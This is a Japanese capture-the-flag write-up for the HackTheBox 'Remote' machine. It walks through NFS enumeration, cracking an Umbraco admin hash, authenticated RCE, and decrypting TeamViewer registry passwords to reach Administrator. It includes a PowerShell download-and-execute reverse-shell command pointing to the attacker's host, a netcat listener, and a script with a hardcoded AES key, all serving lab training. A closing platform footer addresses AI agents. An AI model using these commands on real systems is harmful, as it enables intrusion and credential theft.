> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md). # Remote HackTheBox攻略記事 Web列挙、NFS列挙 - Showmount、情報漏えい、Umbraco管理パネルの悪用を扱うRemote HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、侵害、足掛 {% embed url="" %} {% hint style="warning" %} **スキル**: * Web列挙 * NFS列挙 - Showmount * 情報漏えい * Umbraco管理パネルの悪用 * Umbraco CMS - 認証済み管理者によるリモートコード実行 * システムレジストリからTeamViewerのパスワードを取得する（AES128 - CBC）（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:**/ 開いているポートを列挙し、結果をNmapディレクトリの「allPorts」ファイルにエクスポートする: ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.180 -oG allPorts ```

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する: ```bash nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

### Web（ポート80）: ```bash whatweb http://remote.htb ```

### SMB - ポート445 一覧 **SMB:** ```bash crackmapexec smb 10.10.10.180 ```

### **SMBクライアント（nullセッション）:** ```bash smbclient -L 10.10.10.180 -N ```

### FTP（21）匿名 FTPでは匿名ユーザーで接続できますが、ファイルの一覧表示も追加もできません。 ```bash ftp 10.10.10.180 put test.txt ```

## NFSサービス（ポート2049） {% hint style="info" %} Network File System（NFS）はOSIアプリケーション層プロトコルです。ローカルネットワーク上に分散したファイルシステムを作成し、接続された異なるシステムがリモートファイルをローカルファイルのようにアクセスできるようにします。 {% endhint %} ファイルを一覧表示するには `mount`: ```bash showmount -e 10.10.10.180 ``` 私たちは `/site_backups` 誰でも見ることができます。

このファイルを取り込むには、ディレクトリを作成し、次のように自分のマシンにマウントする必要があります: ```bash mkdir /mnt/mounted_files mount -t nfs 10.10.10.180:/site_backups /mnt/mounted_files ```

次の `tree`、概要をつかむためにフレーム内のすべてのフォルダを一覧表示します: ``` tree -L 2 ``` 私たちは `.config` 設定と `sdf` ポート80のUmbracoデータベース（CMS）内のフォルダ。

その `.conf` ファイルには特に興味深いものはなく、そして `umbraco.sdf` はバイナリファイルです。

私たちは `strings` を使用して可視文字を表示し、詳細分析のためにそれらを自分のディレクトリに保存します: ```bash strings Umbraco.sdf > /home/jordan/Desktop/htb/remote/content/output ``` "admin"のパスワードと"smith"ユーザーが見つかります。

### パスワード解析: Admin（ハッシュ）: `b8be16afba8c314ad33d812f22a04991b90e2aaa` {% embed url="" %}

Admin: `baconandcheese` #### SMBが公開されているので、CrackMapExecを使って認証し、アクセスを検証します ```bash crackmapexec smb 10.10.10.180 -u 'smith' -p 'baconandcheese' crackmapexec smb 10.10.10.180 -u 'administrator' -p 'baconandcheese' ``` #### 効果なし

## 脆弱性 RCE（Umbraco CMS）管理パネルを見つけたので、adminユーザーで認証を試します: `admin@htb.local:baconandcheese`

アクセスできました。

私たちは検索します `Searchsploit` このCMSの脆弱性を調べ、Umbraco用のNCEスクリプトを見つけます。

`searchsploit -m aspx/webapps/46153.py` スクリプト内のログイン、パスワード、ホスト設定を変更します。

**pingで接続を確認します:**/ このコマンドをサーバー上で実行し、tcpdumpで待ち受けます ```bash /c ping 10.10.14.6 tcpdump -i tun0 icmp ```

コマンドを実行できることが確認できたら、 `PS.ps1` スクリプトを私たちのマシンに {% embed url="" %} スクリプトの最後に、次の行を追加します: ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444 ```

次の `PS.ps1` スクリプト: ```bash python3 -m http.server 80 ``` その後、コマンドを自分たちのWebサーバーを指すように変更します: {% code fullWidth="true" %} ``` /c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/') ``` {% endcode %} 最後に、ポート4444で待ち受けます: ```bash rlwrap nc -nlvp 4444 ```

へのアクセス `user.txt` ファイルを確認すると、TeamViewerがインストールされていることがわかります

## 権限昇格：実行中のタスクを見ると、TeamViewerバージョン7が確認できます。 ```powershell tasklist /svc ```

Metasploitのスクリプトを探すと、TeamViewerのパスワードを取得できるものが見つかります: ```powershell locate teamviewer | grep metasploit ```

スクリプトを解析する際は、まずレジストリからキー（バージョンに応じて）を取得する必要があります: `HKLM/SOFTWARE/WOW6432Node/TeamViewer/Version7', 'Version` 次に、セキュリティプロパティを確認します。特にAESパスワードです: ```powershell cd HKLM:SOFTWARE/WOW6432Node/TeamViewer//Version7 (Get-ItemProperty .).SecurityPasswordAES ```

次のバイト列を `暗号文`: `255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91` ### Python自動化スクリプト: これが全体のプロセスを自動化するスクリプトです: ```python from itertools import product from Crypto.Cipher import AES import Crypto.Cipher.AES IV = b"/x01/x00/x01/x00/x67/x24/x4F/x43/x6E/x67/x62/xF2/x5E/xA8/xD7/x04" key = b"/x06/x02/x00/x00/x00/xa4/x00/x00/x52/x53/x41/x31/x00/x04/x00/x00" decipher = AES.new(key,AES.MODE_CBC,IV) ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91]) plaintext = decipher.decrypt(ciphertext).decode() print(plaintext) ```

パスワードは `!R3m0te!`. CrackMapExecで、そのパスワードがそのユーザーに対して正しいか確認します `Administrator`: ```bash crackmapexec smb 10.10.10.180 -u 'Administrator' -p '!R3m0te!' ```

リモートWindows管理サービスがポート5985で有効になっているため、Evil-WinRMで接続します:

evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'

### 最後のルートフラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/remote-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.